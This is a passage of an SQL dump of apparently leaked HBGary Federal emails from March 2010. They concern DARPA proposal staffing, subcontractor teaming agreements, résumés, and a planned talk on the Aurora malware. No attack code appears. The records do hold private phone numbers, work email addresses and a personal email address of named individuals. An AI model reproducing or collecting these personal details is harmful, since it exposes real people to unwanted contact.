below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n571-216-6140\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Vela, Ryan&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 4:46 PM\r\nTo:&nbsp;Starr, Christopher H.;\r\nUpchurch, Jason R.\r\nCc:&nbsp;Larson, Cindy S.;\r\nCorcino, Stefanie E.\r\nSubject:&nbsp;DCG - Sub\r\nRFP/SOWs: For each task/subtask\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor the RFP/SOWs, we need the subs to identify the following for\r\neach task/subtask that you guys are compiling.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1. Innovative claims that succinctly describe the uniqueness and\r\nbenefits of their approach relative to the current state-of-the=art alternate\r\napproaches.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2. Define each technical tasks/subtasks in terms of\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\na. General description of the objective\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nb. Detailed description of the approach to accomplish the objective\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nc. Description of deliverables to be provided\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nd. Completion criteria in terms of milestones and deliverables\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n3. Detailed technical rationale, approach, and plan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n4. Comparison with existing research outlining advantages and\r\ndisadvantages of the innovative claims.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n5. Past performance and accomplishments (Past Performance\r\nTemplate provided) with relevance to current proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n6. Description of the place of performance, facilities, and\r\nlocations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n7. Identification of one key personnel with significant\r\ndedication to the proposed effort (Key Personnel Qualifications Template\r\nprovided).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n8. Summary of cost, schedule, and milestones.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n9. Related research, white papers, or supporting information.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;DCG\r\nPast Performance Template.doc&gt;&lt;DCG Key Personnel Qualifications\r\nTemplate.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13449,'aaron_hbgary_com/13449.html'),(3548,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001785.M561723P3547Q3548.eml','\"Barr Aaron\" <aaron@hbgary.com>','Subs','Can you send me the company names, and point of contact with email\r\naddress of the subs so I can put them in the TAs\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5690,'aaron_hbgary_com/5690.html'),(3549,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001785.M758663P3547Q3549.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Subs','Secure Decisions - Anita D\'mico anitad@securedecisions.avi.com\r\n\r\nPikewerks - irby thompson irby@pikewerks.com\r\nGD - chris Starr\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 4, 2010, at 6:28 PM, Ted Vera  wrote:\r\n\r\n> Can you send me the company names, and point of contact with email\r\n> address of the subs so I can put them in the TAs\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',7607,'aaron_hbgary_com/7607.html'),(3550,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001787.M603965P3547Q3550.eml','\"Aaron Barr\" <aaron@hbgary.com>','Anja just got home','I\'m going to have a quick cup of coffee with Anja.  This is what I have\r\nso far.\r\n\r\nTed\r\n\r\n',11802,'aaron_hbgary_com/11802.html'),(3551,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001787.M828161P3547Q3551.eml','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','RE: What was the Tech Tuesday date?','Phil and Aaron,\r\n\r\nSAIC invited HBGary to speak on the Aurora malware and our analysis of it on\r\nApril 13 or 20.  They plan to have John from EndGames be there too.  HBGary\r\nand EndGames could speak separately or together.  My sense is that this will\r\nbe an informal gathering that will not require much prep work.  The audience\r\nwill be around 20 people and mostly SAIC subcontractors interested in\r\nmalware, which sounds like our kind of audience.\r\n\r\nPlease let me know if you can participate.  SAIC is copied in this email.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com] \r\nSent: Wednesday, March 03, 2010 11:51 AM\r\nTo: bob@hbgary.com\r\nCc: Sheldon, Scott W.\r\nSubject: FW: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nCan you confirm you\'ll be able to present your Aurora data on the 13th\r\nor 20th of April?\r\n\r\nAnd have you talked to John at EndGames?\r\n\r\nI owe him a call on another matter anyway - I\'ll call him today.\r\n\r\nTim. \r\n\r\n\r\n',16011,'aaron_hbgary_com/16011.html'),(3552,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001788.M13768P3547Q3552.eml','\"Sandy Barr\" <freelybe@hotmail.com>','','Pancake mix\r\nGarbage bags\r\nBananas\r\nCat food\r\nSoy milk\r\nLitter\r\nJuice\r\n\r\n From my iPhone\r\n',13528,'aaron_hbgary_com/13528.html'),(3553,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001790.M256850P3547Q3554.eml','\"Aaron Barr\" <aaron@hbgary.com>','public key','Can you send me your public key, I either lost it or never got it.\r\n\r\nmine is attached.\r\n\r\nTed\r\n\r\n',16708,'aaron_hbgary_com/16708.html'),(3554,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001790.M4003P3547Q3553.eml','\"Aaron Barr\" <aaron@hbgary.com>','Teaming Agreements','Attached are the draft TA\'s.  Please take a quick look, paying\r\nparticular attention to Attachment A (in the back).  This is where their\r\nwork-share / area of work is defined. I left it generic.  Should we put\r\nin more specifics?\r\n\r\nTed\r\n\r\n',6851,'aaron_hbgary_com/6851.html'),(3555,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001790.M498137P3547Q3555.eml','ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','HBGary Key Personnel docs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nDo you have any mods of these docs before I send them to\r\nGD?&nbsp; I think Martin&#8217;s title is Senior Software Engineer, but that doesn&#8217;t\r\nbegin to describe his skill and value.&nbsp; Martin doesn&#8217;t have a degree, but\r\nanybody who has worked with him knows how much of a stud he is.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15603,'aaron_hbgary_com/15603.html'),(3556,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001790.M760154P3547Q3556.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary Key Personnel docs','I don\'t have any Bob.\r\n\r\nOn 3/4/10 9:23 PM, Bob Slapnik wrote:\r\n> Aaron and Ted,\r\n> \r\n>  \r\n> \r\n> Do you have any mods of these docs before I send them to GD?  I think\r\n> Martin\'s title is Senior Software Engineer, but that doesn\'t begin to\r\n> describe his skill and value.  Martin doesn\'t have a degree, but anybody who\r\n> has worked with him knows how much of a stud he is.\r\n> \r\n>  \r\n> \r\n> Bob \r\n> \r\n>  \r\n> \r\n> \r\n\r\n',5092,'aaron_hbgary_com/5092.html'),(3557,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001791.M210983P3547Q3558.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Subs','nvm..I am up...ughh..\r\nOn Mar 4, 2010, at 6:28 PM, Ted Vera wrote:\r\n\r\n> Can you send me the company names, and point of contact with email\r\n> address of the subs so I can put them in the TAs\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7908,'aaron_hbgary_com/7908.html'),(3558,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001791.M409215P3547Q3559.eml','\"Ted Vera\" <ted@hbgary.com>','Re: public key','\r\nOn Mar 4, 2010, at 11:15 PM, Ted Vera wrote:\r\n\r\n> Can you send me your public key, I either lost it or never got it.\r\n> \r\n> mine is attached.\r\n> \r\n> Ted\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2600,'aaron_hbgary_com/2600.html'),(3559,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001791.M651518P3547Q3560.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary Key Personnel docs','Bob,On Gregs resume I think we need to add the development of behavior based detection of Malware. &nbsp;I mean its one of the only capabilities out there and he developed it. &nbsp;So all the Responder, REcon, DDNA stuff.For Martin I think SSE is fine.Are we going to include both of these folks on TA3 as well? &nbsp;Who else are we going to put on it.Ted I think we need to get some resumes from some of our old contacts that we could bring on as contingency hires.AaronOn Mar 4, 2010, at 11:23 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Do you have any mods of these docs before I send them to GD?&nbsp; I think Martin’s title is Senior Software Engineer, but that doesn’t begin to describe his skill and value.&nbsp; Martin doesn’t have a degree, but anybody who has worked with him knows how much of a stud he is.&nbsp;Bob&nbsp;&lt;HBGary Key Personnel Qualifications - Greg Hoglund.docx&gt;&lt;HBGary Key Personnel Qualifications - Martin Pillion.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6948,'aaron_hbgary_com/6948.html'),(3560,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001791.M835195P3547Q3561.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: What was the Tech Tuesday date?','Bob,\r\n\r\nI can support but I am not the guy you want talking directly about the malware and the RE research that went into the report.  I can talk to some of the externals of the attack, etc.  If Phil can talk about the RE work I am more than happy to support him.  When u say subcontractors, so small companies that sub to SAIC on different things?\r\n\r\nPresenting together sounds good but that would take some preparation, which probably should happen to make it as smooth as possible.\r\n\r\nI am sure something we would like to get out of this would be exposure to a lot of other people about how much easier it is to do these types of investigations with the right tools.\r\n\r\nAaron\r\n\r\nOn Mar 4, 2010, at 8:31 PM, Bob Slapnik wrote:\r\n\r\n> Phil and Aaron,\r\n> \r\n> SAIC invited HBGary to speak on the Aurora malware and our analysis of it on\r\n> April 13 or 20.  They plan to have John from EndGames be there too.  HBGary\r\n> and EndGames could speak separately or together.  My sense is that this will\r\n> be an informal gathering that will not require much prep work.  The audience\r\n> will be around 20 people and mostly SAIC subcontractors interested in\r\n> malware, which sounds like our kind of audience.\r\n> \r\n> Please let me know if you can participate.  SAIC is copied in this email.\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com] \r\n> Sent: Wednesday, March 03, 2010 11:51 AM\r\n> To: bob@hbgary.com\r\n> Cc: Sheldon, Scott W.\r\n> Subject: FW: What was the Tech Tuesday date?\r\n> \r\n> Bob,\r\n> \r\n> Can you confirm you\'ll be able to present your Aurora data on the 13th\r\n> or 20th of April?\r\n> \r\n> And have you talked to John at EndGames?\r\n> \r\n> I owe him a call on another matter anyway - I\'ll call him today.\r\n> \r\n> Tim. \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10091,'aaron_hbgary_com/10091.html'),(3561,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001791.M8951P3547Q3557.eml','\"Ted Vera\" <ted@hbgary.com>','Re: HBGary Key Personnel docs','Shit I fell asleep with kids.  Going to set alarm for 5 and start\r\nworking again...\r\n\r\n From my iPhone\r\n\r\nOn Mar 4, 2010, at 11:28 PM, Ted Vera  wrote:\r\n\r\n> I don\'t have any Bob.\r\n>\r\n> On 3/4/10 9:23 PM, Bob Slapnik wrote:\r\n>> Aaron and Ted,\r\n>>\r\n>>\r\n>>\r\n>> Do you have any mods of these docs before I send them to GD?  I think\r\n>> Martin\'s title is Senior Software Engineer, but that doesn\'t begin to\r\n>> describe his skill and value.  Martin doesn\'t have a degree, but\r\n>> anybody who\r\n>> has worked with him knows how much of a stud he is.\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n',14911,'aaron_hbgary_com/14911.html'),(3562,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001792.M101052P3547Q3562.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Teaming Agreements','Probably.  Let me work on this.\r\n\r\nOn Mar 4, 2010, at 11:10 PM, Ted Vera wrote:\r\n\r\n> Attached are the draft TA\'s.  Please take a quick look, paying\r\n> particular attention to Attachment A (in the back).  This is where their\r\n> work-share / area of work is defined. I left it generic.  Should we put\r\n> in more specifics?\r\n> \r\n> Ted\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15574,'aaron_hbgary_com/15574.html'),(3563,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001792.M362021P3547Q3563.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Key Personnel docs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen I look at the HBGary team I want to see know-how and\r\ncredentials. &nbsp;I could add Scott, but he is *just* a manager.&nbsp;\r\nHe has no research capabilities.&nbsp; The funny&nbsp; thing is that HBGary&#8217;s\r\ndevelop team soared after he joined.&nbsp; DARPA wants to see resumes of people\r\nwho can research new ideas.&nbsp; In my mind that leaves us with Greg and\r\nMartin.&nbsp; They dream up the new ideas, map them out, then give them to\r\nsomebody else to grind out the details.\r\n\r\n&nbsp;\r\n\r\nThe things that are research to other organizations isn&#8217;t\r\nto HBGary.&nbsp; Greg and Martin think about the problem, maybe read some tech\r\nmaterials, they architect an approach, and they just build it.&nbsp; Turns out\r\nas a prototype that we later throw away and rebuild.&nbsp; Is this\r\nresearch?&nbsp; No, but it works.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 4:47 AM\r\nTo: Bob Slapnik\r\nCc: ted@hbgary.com\r\nSubject: Re: HBGary Key Personnel docs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Gregs resume I think we need to add the development of\r\nbehavior based detection of Malware. &nbsp;I mean its one of the only\r\ncapabilities out there and he developed it. &nbsp;So all the Responder, REcon,\r\nDDNA stuff.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor Martin I think SSE is fine.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre we going to include both of these folks on TA3 as well?\r\n&nbsp;Who else are we going to put on it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed I think we need to get some resumes from some of our old\r\ncontacts that we could bring on as contingency hires.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 11:23 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Ted,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have any mods of these docs before I send them to GD?&nbsp; I think\r\nMartin&#8217;s title is Senior Software Engineer, but that doesn&#8217;t begin\r\nto describe his skill and value.&nbsp; Martin doesn&#8217;t have a degree, but\r\nanybody who has worked with him knows how much of a stud he is.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary\r\nKey Personnel Qualifications - Greg Hoglund.docx&gt;&lt;HBGary Key Personnel\r\nQualifications - Martin Pillion.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11813,'aaron_hbgary_com/11813.html'),(3564,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001792.M623600P3547Q3564.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: What was the Tech Tuesday date?','Phil, can you do it?\r\n\r\nAaron and Phil, don\'t do the gig if it takes more than 2-4 hours of prep\r\ntime.  Think of it as an informal gathering of tech guys talking about\r\nAurora.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 4:52 AM\r\nTo: Bob Slapnik\r\nCc: Phil Wallisch\r\nSubject: Re: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nI can support but I am not the guy you want talking directly about the\r\nmalware and the RE research that went into the report.  I can talk to some\r\nof the externals of the attack, etc.  If Phil can talk about the RE work I\r\nam more than happy to support him.  When u say subcontractors, so small\r\ncompanies that sub to SAIC on different things?\r\n\r\nPresenting together sounds good but that would take some preparation, which\r\nprobably should happen to make it as smooth as possible.\r\n\r\nI am sure something we would like to get out of this would be exposure to a\r\nlot of other people about how much easier it is to do these types of\r\ninvestigations with the right tools.\r\n\r\nAaron\r\n\r\nOn Mar 4, 2010, at 8:31 PM, Bob Slapnik wrote:\r\n\r\n> Phil and Aaron,\r\n> \r\n> SAIC invited HBGary to speak on the Aurora malware and our analysis of it\r\non\r\n> April 13 or 20.  They plan to have John from EndGames be there too.\r\nHBGary\r\n> and EndGames could speak separately or together.  My sense is that this\r\nwill\r\n> be an informal gathering that will not require much prep work.  The\r\naudience\r\n> will be around 20 people and mostly SAIC subcontractors interested in\r\n> malware, which sounds like our kind of audience.\r\n> \r\n> Please let me know if you can participate.  SAIC is copied in this email.\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com] \r\n> Sent: Wednesday, March 03, 2010 11:51 AM\r\n> To: bob@hbgary.com\r\n> Cc: Sheldon, Scott W.\r\n> Subject: FW: What was the Tech Tuesday date?\r\n> \r\n> Bob,\r\n> \r\n> Can you confirm you\'ll be able to present your Aurora data on the 13th\r\n> or 20th of April?\r\n> \r\n> And have you talked to John at EndGames?\r\n> \r\n> I owe him a call on another matter anyway - I\'ll call him today.\r\n> \r\n> Tim. \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10\r\n14:34:00\r\n\r\n',709,'aaron_hbgary_com/709.html'),(3565,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001792.M859946P3547Q3565.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary Key Personnel docs','Yes and no. &nbsp;Yes they want to see new ideas. &nbsp;For that I would be Greg, Martin, Sean. &nbsp;For management on the HBGary team I would put Scott. &nbsp;The development soared because you an organized systems engineer on the team..that is good and very valuable. &nbsp;you need to be able to show management.HBGary Fed will propose Ted as the PM function for the group but hes not going to do the work. &nbsp;We are going to pitch people we will bring on the team (Mark, Jeff, Ernst, etc).Make sense?AaronOn Mar 5, 2010, at 8:18 AM, Bob Slapnik wrote:When I look at the HBGary team I want to see know-how and credentials. &nbsp;I could add Scott, but he is *just* a manager.&nbsp; He has no research capabilities.&nbsp; The funny&nbsp; thing is that HBGary’s develop team soared after he joined.&nbsp; DARPA wants to see resumes of people who can research new ideas.&nbsp; In my mind that leaves us with Greg and Martin.&nbsp; They dream up the new ideas, map them out, then give them to somebody else to grind out the details.&nbsp;The things that are research to other organizations isn’t to HBGary.&nbsp; Greg and Martin think about the problem, maybe read some tech materials, they architect an approach, and they just build it.&nbsp; Turns out as a prototype that we later throw away and rebuild.&nbsp; Is this research?&nbsp; No, but it works.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 05, 2010 4:47 AMTo:&nbsp;Bob SlapnikCc:&nbsp;ted@hbgary.comSubject:&nbsp;Re: HBGary Key Personnel docs&nbsp;Bob,&nbsp;On Gregs resume I think we need to add the development of behavior based detection of Malware. &nbsp;I mean its one of the only capabilities out there and he developed it. &nbsp;So all the Responder, REcon, DDNA stuff.&nbsp;For Martin I think SSE is fine.&nbsp;Are we going to include both of these folks on TA3 as well? &nbsp;Who else are we going to put on it.&nbsp;Ted I think we need to get some resumes from some of our old contacts that we could bring on as contingency hires.&nbsp;Aaron&nbsp;On Mar 4, 2010, at 11:23 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Do you have any mods of these docs before I send them to GD?&nbsp; I think Martin’s title is Senior Software Engineer, but that doesn’t begin to describe his skill and value.&nbsp; Martin doesn’t have a degree, but anybody who has worked with him knows how much of a stud he is.&nbsp;Bob&nbsp;&lt;HBGary Key Personnel Qualifications - Greg Hoglund.docx&gt;&lt;HBGary Key Personnel Qualifications - Martin Pillion.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13910,'aaron_hbgary_com/13910.html'),(3566,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001793.M108144P3547Q3566.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Key Personnel docs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, I&#8217;ll get Scott&#8217;s info and add him as\r\nmanagement.&nbsp;&nbsp; Do I need to add Shawn as a third tech guy?&nbsp; Ted\r\nas the PM makes lots of sense &#8211; he has both the mgt background and the\r\ntech education/experience.&nbsp; I assume that Mark, Jeff and Ernst have good\r\nlooking resumes, so go ahead and use them.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 8:22 AM\r\nTo: Bob Slapnik\r\nCc: ted@hbgary.com\r\nSubject: Re: HBGary Key Personnel docs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes and no. &nbsp;Yes they want to see new ideas. &nbsp;For\r\nthat I would be Greg, Martin, Sean. &nbsp;For management on the HBGary team I\r\nwould put Scott. &nbsp;The development soared because you an organized systems\r\nengineer on the team..that is good and very valuable. &nbsp;you need to be able\r\nto show management.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary Fed will propose Ted as the PM function for the group\r\nbut hes not going to do the work. &nbsp;We are going to pitch people we will\r\nbring on the team (Mark, Jeff, Ernst, etc).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMake sense?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 8:18 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen I look at the HBGary team I want to see know-how and\r\ncredentials. &nbsp;I could add Scott, but he is *just* a manager.&nbsp;\r\nHe has no research capabilities.&nbsp; The funny&nbsp; thing is that\r\nHBGary&#8217;s develop team soared after he joined.&nbsp; DARPA wants to see\r\nresumes of people who can research new ideas.&nbsp; In my mind that leaves us\r\nwith Greg and Martin.&nbsp; They dream up the new ideas, map them out, then\r\ngive them to somebody else to grind out the details.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe things that are research to other organizations isn&#8217;t\r\nto HBGary.&nbsp; Greg and Martin think about the problem, maybe read some tech\r\nmaterials, they architect an approach, and they just build it.&nbsp; Turns out\r\nas a prototype that we later throw away and rebuild.&nbsp; Is this research?&nbsp;\r\nNo, but it works.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 05,\r\n2010 4:47 AM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;ted@hbgary.com\r\nSubject:&nbsp;Re: HBGary Key\r\nPersonnel 